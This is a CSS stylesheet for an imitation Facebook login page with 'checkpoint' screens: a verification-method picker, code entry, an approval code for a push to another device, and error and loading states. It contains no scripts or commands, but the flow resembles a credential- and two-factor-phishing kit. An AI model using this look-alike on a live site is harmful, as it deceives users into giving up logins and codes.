﻿/* Facebook landing — 2025 UI (page_example) */
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

:root {
  --fb-blue: #0866ff;
  --fb-blue-press: #0056c7;
  --fb-blue-link: #0064e0;
  --fb-text: #111112;
  --fb-text-secondary: #65676b;
  --fb-text-tertiary: #8c939b;
  --fb-border: #dadde1;
  --fb-divider: #dfe2e5;
  --fb-surface: #f2f4f6;
  --fb-surface-selected: #dbecff;
  --fb-error: #d31130;
  --fb-error-bg: #fff0f2;
  --fb-radius-btn: 22px;
  --fb-radius-input: 16px;
  --fb-radius-card: 12px;
  --fb-font: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  --fb-shadow-card: 0 2px 4px rgba(0, 0, 0, 0.1), 0 8px 16px rgba(0, 0, 0, 0.1);
  --fb-max-content: 500px;
}

html {
  height: 100%;
  -webkit-text-size-adjust: 100%;
}

body {
  font-family: var(--fb-font);
  background: #fff;
  color: var(--fb-text);
  min-height: 100%;
  min-height: 100dvh;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

.hidden { display: none !important; }

.fb-screen {
  min-height: 100vh;
  min-height: 100dvh;
}

/* ── Logo ── */
.fb-wordmark,
.fb-topbar-logo img,
.fb-loading-logo {
  display: block;
  height: auto;
  max-width: 100%;
}

.fb-topbar-logo img {
  height: 19px;
  width: auto;
}

/* ── Topbar ── */
.fb-topbar {
  display: flex;
  align-items: center;
  justify-content: center;
  position: sticky;
  top: 0;
  z-index: 20;
  min-height: 56px;
  padding: 0 max(12px, env(safe-area-inset-right)) 0 max(12px, env(safe-area-inset-left));
  background: #fff;
  border-bottom: 1px solid var(--fb-divider);
}

.fb-topbar-back {
  position: absolute;
  left: max(4px, env(safe-area-inset-left));
  top: 50%;
  transform: translateY(-50%);
  width: 40px;
  height: 40px;
  border: none;
  background: transparent;
  border-radius: 50%;
  cursor: pointer;
  color: var(--fb-text);
  display: flex;
  align-items: center;
  justify-content: center;
  transition: background 0.15s;
}

.fb-topbar-back:disabled {
  opacity: 0.3;
  cursor: default;
}

.fb-topbar-back:not(:disabled):active {
  background: var(--fb-surface);
}

.fb-topbar-logo-only {
  justify-content: center;
}

.fb-topbar-logo-left {
  justify-content: flex-start;
  padding-left: max(16px, env(safe-area-inset-left));
  border-bottom: none;
  min-height: 52px;
}

.fb-topbar-logo-left .fb-topbar-logo img {
  height: 18px;
}

/* ── Checkpoint layout ── */
.fb-checkpoint-screen {
  display: flex;
  flex-direction: column;
  background: #fff;
}

.fb-wrap {
  width: 100%;
  max-width: var(--fb-max-content);
  margin: 0 auto;
  padding: 0 16px max(32px, env(safe-area-inset-bottom));
}

.fb-checkpoint {
  flex: 1;
  padding-top: 4px;
}

.fb-user-row {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 8px;
  padding: 16px 0 4px;
}

.fb-user-avatar {
  width: 40px;
  height: 40px;
  border-radius: 50%;
  background: linear-gradient(135deg, #e4e6eb, #ced0d4);
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 16px;
  font-weight: 600;
  color: var(--fb-text-secondary);
  text-transform: uppercase;
}

.fb-user-banner {
  font-size: 13px;
  font-weight: 500;
  color: var(--fb-text-secondary);
  text-align: center;
  line-height: 1.35;
}

.fb-title {
  font-size: 1.5rem;
  font-weight: 700;
  line-height: 1.17;
  text-align: center;
  margin: 12px 0 12px;
  color: var(--fb-text);
  letter-spacing: -0.022em;
}

.fb-title-left {
  text-align: left;
  margin-top: 20px;
  font-size: 1.5rem;
}

.fb-body {
  font-size: 0.9375rem;
  line-height: 1.35;
  text-align: center;
  color: #080809;
  margin-bottom: 16px;
  padding: 0 4px;
}

.fb-hero-wrap {
  margin: 0 0 20px;
  width: 100%;
  max-width: 100%;
}

.fb-hero-img {
  display: block;
  width: 100%;
  max-width: 100%;
  height: auto;
  margin: 0 auto;
  border-radius: 0;
}

/* ── Status card ── */
.fb-status-card {
  display: flex;
  align-items: flex-start;
  gap: 12px;
  padding: 14px 16px;
  border-radius: 8px;
  background: var(--fb-surface);
}

.fb-status-icon {
  flex-shrink: 0;
  color: var(--fb-text-secondary);
  margin-top: 1px;
}

.fb-status-title {
  font-size: 0.9375rem;
  font-weight: 600;
  line-height: 1.3;
  color: var(--fb-text);
}

.fb-status-sub {
  font-size: 0.8125rem;
  color: var(--fb-text-secondary);
  line-height: 1.35;
  margin-top: 4px;
}

/* ── Buttons ── */
.fb-btn {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  min-height: 44px;
  padding: 0 20px;
  border: none;
  border-radius: var(--fb-radius-btn);
  font-size: 0.9375rem;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s, opacity 0.15s;
}

.fb-btn-primary {
  background: var(--fb-blue-link);
  color: #f2f4f6;
}

.fb-btn-primary:hover:not(:disabled) {
  background: var(--fb-blue-press);
}

.fb-btn-primary:active:not(:disabled) {
  transform: scale(0.99);
}

.fb-btn-primary:disabled {
  opacity: 0.55;
  cursor: not-allowed;
}

.fb-btn-secondary {
  background: transparent;
  color: var(--fb-blue-link);
  border: 1px solid var(--fb-blue-link);
  min-height: 40px;
  font-size: 0.9375rem;
}

.fb-btn-secondary:disabled {
  opacity: 0.4;
  cursor: not-allowed;
}

.fb-link-btn {
  display: block;
  width: 100%;
  margin-top: 12px;
  padding: 12px 16px;
  border: none;
  background: transparent;
  color: var(--fb-blue-link);
  font-size: 0.9375rem;
  font-weight: 600;
  cursor: pointer;
  text-align: center;
  border-radius: var(--fb-radius-btn);
  transition: background 0.15s;
}

.fb-link-btn:active:not(:disabled) {
  background: rgba(0, 100, 224, 0.08);
}

.fb-btn-outline {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  min-height: 44px;
  margin-top: 20px;
  padding: 0 20px;
  border: 1px solid #d8dadf;
  border-radius: var(--fb-radius-btn);
  background: #fff;
  color: var(--fb-text);
  font-size: 0.9375rem;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s;
}

.fb-btn-outline:active:not(:disabled) {
  background: #f2f4f6;
}

.fb-btn-outline:disabled {
  opacity: 0.55;
  cursor: not-allowed;
}

/* ── Instagram push (another device) ── */
.fb-checkpoint-push {
  padding-top: 0;
  max-width: 430px;
}

.fb-user-banner--top {
  font-size: 0.8125rem;
  font-weight: 500;
  color: var(--fb-text-secondary);
  text-align: center;
  margin: 4px 0 16px;
  line-height: 1.35;
}

.fb-title-push {
  font-size: 1.5rem;
  font-weight: 700;
  letter-spacing: -0.022em;
  margin-top: 0;
  margin-bottom: 12px;
}

.fb-body-push {
  color: #080809;
  margin-bottom: 20px;
  padding: 0 2px;
}

.fb-hero-wrap--push {
  margin-bottom: 24px;
}

.fb-approval-code {
  font-size: clamp(2.75rem, 12vw, 3.5rem);
  font-weight: 700;
  letter-spacing: 0.22em;
  text-align: center;
  color: var(--fb-text);
  margin: 0 0 28px;
  padding-left: 0.22em;
  line-height: 1;
}

.fb-wait-row {
  display: flex;
  align-items: flex-start;
  gap: 12px;
  margin-bottom: 8px;
}

.fb-wait-icon {
  flex-shrink: 0;
  width: 40px;
  height: 40px;
  color: var(--fb-text-secondary);
  display: flex;
  align-items: center;
  justify-content: center;
}

.fb-wait-dot {
  animation: fb-wait-pulse 1.2s ease-in-out infinite;
}

.fb-wait-dot-2 { animation-delay: 0.15s; }
.fb-wait-dot-3 { animation-delay: 0.3s; }

.fb-wait-title {
  font-size: 0.9375rem;
  font-weight: 600;
  line-height: 1.3;
  color: var(--fb-text);
}

.fb-wait-sub {
  font-size: 0.8125rem;
  color: var(--fb-text-secondary);
  line-height: 1.35;
  margin-top: 4px;
}

@keyframes fb-wait-pulse {
  0%, 80%, 100% { opacity: 0.35; }
  40% { opacity: 1; }
}

/* ── Floating inputs ── */
.fb-float-field {
  position: relative;
  margin-bottom: 12px;
}

.fb-float-field input {
  width: 100%;
  min-height: 60px;
  padding: 26px 16px 10px;
  border: 1px solid #ced0d4;
  border-radius: var(--fb-radius-input);
  font-size: 0.9375rem;
  font-weight: 500;
  font-family: inherit;
  background: #fff;
  color: var(--fb-text);
  outline: none;
  transition: border-color 0.15s, box-shadow 0.15s;
  -webkit-appearance: none;
  appearance: none;
}

.fb-float-field label {
  position: absolute;
  left: 16px;
  top: 19px;
  font-size: 0.9375rem;
  font-weight: 400;
  color: var(--fb-text-secondary);
  pointer-events: none;
  transition: top 0.15s ease, font-size 0.15s ease, color 0.15s ease;
}

.fb-float-field input:focus {
  border-color: var(--fb-blue-link);
  box-shadow: 0 0 0 1px var(--fb-blue-link);
}

.fb-float-field input:focus + label,
.fb-float-field input:not(:placeholder-shown) + label {
  top: 10px;
  font-size: 0.75rem;
  color: var(--fb-blue-link);
}

.fb-code-field input {
  letter-spacing: 0.25em;
  font-size: 1.0625rem;
}

.fb-code-form {
  margin-top: 8px;
}

.fb-field-error,
.fb-login-error {
  color: var(--fb-error);
  font-size: 0.875rem;
  line-height: 1.4;
  text-align: center;
}

.fb-field-error {
  margin: -4px 0 12px;
  text-align: left;
  padding: 0 4px;
}

.fb-code-note {
  display: flex;
  align-items: flex-start;
  gap: 10px;
  margin: -4px 0 16px;
  padding: 0 4px;
  font-size: 0.9375rem;
  line-height: 1.35;
  color: var(--fb-text-secondary);
  text-align: left;
}

/* ── Login page ── */
.fb-login-shell {
  min-height: 100vh;
  min-height: 100dvh;
  display: flex;
  flex-direction: column;
}

.fb-login-mobile-header {
  display: none;
  justify-content: center;
  padding: 20px 16px 8px;
}

.fb-login-page {
  flex: 1;
  max-width: 980px;
  width: 100%;
  margin: 0 auto;
  padding: 72px 16px 24px;
  display: flex;
  flex-wrap: wrap;
  gap: 0 64px;
  align-items: center;
  justify-content: center;
}

.fb-login-brand {
  flex: 1 1 320px;
  max-width: 520px;
  padding-right: 0;
}

.fb-wordmark {
  width: 100%;
  max-width: 301px;
  margin: 0;
}

.fb-login-tagline {
  font-size: 1.75rem;
  line-height: 1.2;
  margin-top: 0;
  padding-top: 16px;
  color: var(--fb-text);
  font-weight: 400;
  max-width: 420px;
}

.fb-login-card {
  flex: 0 1 396px;
  width: 100%;
  background: #fff;
  border-radius: 8px;
  box-shadow: var(--fb-shadow-card);
  padding: 20px 16px 24px;
}

.fb-login-card--error {
  box-shadow: var(--fb-shadow-card);
}

.fb-login-card--error .fb-float-field input {
  border-color: var(--fb-error);
  box-shadow: 0 0 0 1px var(--fb-error);
}

.fb-login-error-wrap {
  margin-bottom: 16px;
  padding: 12px 16px;
  border-radius: 8px;
  background: var(--fb-error-bg);
}

.fb-login-error-wrap .fb-login-error {
  margin-bottom: 12px;
  font-weight: 500;
  text-align: center;
}

.fb-login-heading {
  display: none;
  font-size: 1.5rem;
  font-weight: 700;
  text-align: center;
  margin-bottom: 24px;
  letter-spacing: -0.022em;
}

.fb-find-account {
  display: block;
  text-align: center;
  color: var(--fb-blue-link);
  font-size: 0.9375rem;
  font-weight: 600;
  text-decoration: none;
}

.fb-find-account:active {
  text-decoration: underline;
}

.fb-login-form .fb-btn-primary {
  margin-top: 4px;
}

.fb-forgot-link {
  display: block;
  text-align: center;
  margin: 16px 0 0;
  color: var(--fb-blue-link);
  font-size: 0.875rem;
  font-weight: 500;
  text-decoration: none;
}

.fb-forgot-link:active {
  text-decoration: underline;
}

.fb-login-divider {
  height: 1px;
  background: var(--fb-divider);
  margin: 20px 0 16px;
}

.fb-login-footer {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  justify-content: center;
  gap: 6px 10px;
  padding: 24px 16px max(16px, env(safe-area-inset-bottom));
  font-size: 0.75rem;
  color: var(--fb-text-tertiary);
}

.fb-meta-logo {
  display: block;
  margin-top: 8px;
  width: 100%;
  max-width: 56px;
  height: auto;
  opacity: 0.85;
}

.fb-dot {
  opacity: 0.6;
}

/* ── Method picker ── */
.fb-methods-wrap {
  display: flex;
  flex-direction: column;
  min-height: calc(100dvh - 57px);
}

.fb-method-list {
  margin-top: 12px;
  border-top: 1px solid var(--fb-divider);
}

.fb-method-item {
  display: block;
  cursor: pointer;
  position: relative;
  border-bottom: 1px solid var(--fb-divider);
}

.fb-method-item input {
  position: absolute;
  opacity: 0;
  pointer-events: none;
}

.fb-method-inner {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 16px;
  padding: 16px 8px;
  min-height: 56px;
  border-radius: 8px;
  transition: background 0.12s;
}

.fb-method-text {
  flex: 1;
  min-width: 0;
}

.fb-method-radio {
  width: 24px;
  height: 24px;
  border: 2px solid #8c939b;
  border-radius: 50%;
  flex-shrink: 0;
  position: relative;
  transition: border-color 0.12s;
}

.fb-method-item input:checked + .fb-method-inner .fb-method-radio {
  border-color: var(--fb-text);
  border-width: 2px;
}

.fb-method-item input:checked + .fb-method-inner .fb-method-radio::after {
  content: "";
  position: absolute;
  inset: 5px;
  border-radius: 50%;
  background: var(--fb-text);
}

.fb-method-selected .fb-method-inner {
  background: var(--fb-surface-selected);
}

.fb-method-title {
  font-size: 0.9375rem;
  font-weight: 500;
  line-height: 1.27;
  color: var(--fb-text);
}

.fb-method-sub {
  font-size: 0.9375rem;
  font-weight: 400;
  color: var(--fb-text-secondary);
  margin-top: 2px;
  line-height: 1.27;
}

.fb-methods-footer {
  margin-top: auto;
  padding-top: 20px;
}

/* ── Loading / transition ── */
.fb-loading {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  padding: 48px 24px;
  color: var(--fb-text-secondary);
  gap: 16px;
}

.fb-loading-logo {
  width: 112px;
  margin-bottom: 8px;
  opacity: 0.9;
}

.fb-spinner {
  width: 32px;
  height: 32px;
  border: 3px solid #e4e6eb;
  border-top-color: var(--fb-blue-link);
  border-radius: 50%;
  animation: fb-spin 0.7s linear infinite;
}

.fb-spinner-lg {
  width: 40px;
  height: 40px;
}

.fb-transition {
  position: fixed;
  inset: 0;
  z-index: 300;
  background: rgba(255, 255, 255, 0.96);
  display: flex;
  flex-direction: column;
  backdrop-filter: blur(4px);
}

.fb-transition-bar {
  height: 3px;
  background: #e4e6eb;
  overflow: hidden;
}

.fb-transition-bar span {
  display: block;
  height: 100%;
  width: 40%;
  background: var(--fb-blue-link);
  animation: fb-progress 1.1s ease-in-out infinite;
}

.fb-transition-body {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 16px;
  font-size: 0.9375rem;
  color: var(--fb-text-secondary);
}

.fb-success-ring {
  width: 56px;
  height: 56px;
  border-radius: 50%;
  background: #e7f3ff;
  color: var(--fb-blue-link);
  font-size: 28px;
  font-weight: 700;
  display: flex;
  align-items: center;
  justify-content: center;
  margin-bottom: 8px;
}

.fb-success-text {
  font-size: 1.125rem;
  font-weight: 600;
  color: var(--fb-text);
}

.fb-success-sub {
  font-size: 0.875rem;
  color: var(--fb-text-secondary);
  margin-top: 4px;
}

.fb-error-icon {
  width: 48px;
  height: 48px;
  border-radius: 50%;
  background: var(--fb-error-bg);
  color: var(--fb-error);
  font-size: 1.5rem;
  font-weight: 700;
  display: flex;
  align-items: center;
  justify-content: center;
  margin-bottom: 12px;
}

.fb-fatal-error {
  font-size: 0.9375rem;
  color: var(--fb-text);
  max-width: 320px;
  line-height: 1.4;
  margin-bottom: 20px;
}

.fb-error-retry {
  max-width: 200px;
}

@keyframes fb-spin {
  to { transform: rotate(360deg); }
}

@keyframes fb-progress {
  0% { transform: translateX(-120%); }
  100% { transform: translateX(320%); }
}

/* ── Mobile login ── */
@media (max-width: 900px) {
  .fb-login-mobile-header {
    display: flex;
  }

  .fb-login-page {
    padding: 8px 16px 16px;
    align-items: flex-start;
    min-height: auto;
  }

  .fb-login-brand {
    display: none;
  }

  .fb-login-card {
    flex: 1 1 100%;
    max-width: 100%;
    box-shadow: none;
    padding: 8px 0 0;
    border-radius: 0;
  }

  .fb-login-heading {
    display: block;
    font-size: 1.5rem;
    font-weight: 700;
    margin-bottom: 24px;
    letter-spacing: -0.022em;
  }

  .fb-login-footer {
    margin-top: auto;
  }
}

/* ── Desktop login ── */
@media (min-width: 901px) {
  .fb-login-page {
    min-height: calc(100vh - 60px);
  }

  .fb-login-tagline {
    font-size: 1.75rem;
  }
}

@media (min-width: 901px) and (max-height: 700px) {
  .fb-login-page {
    padding-top: 40px;
  }
}
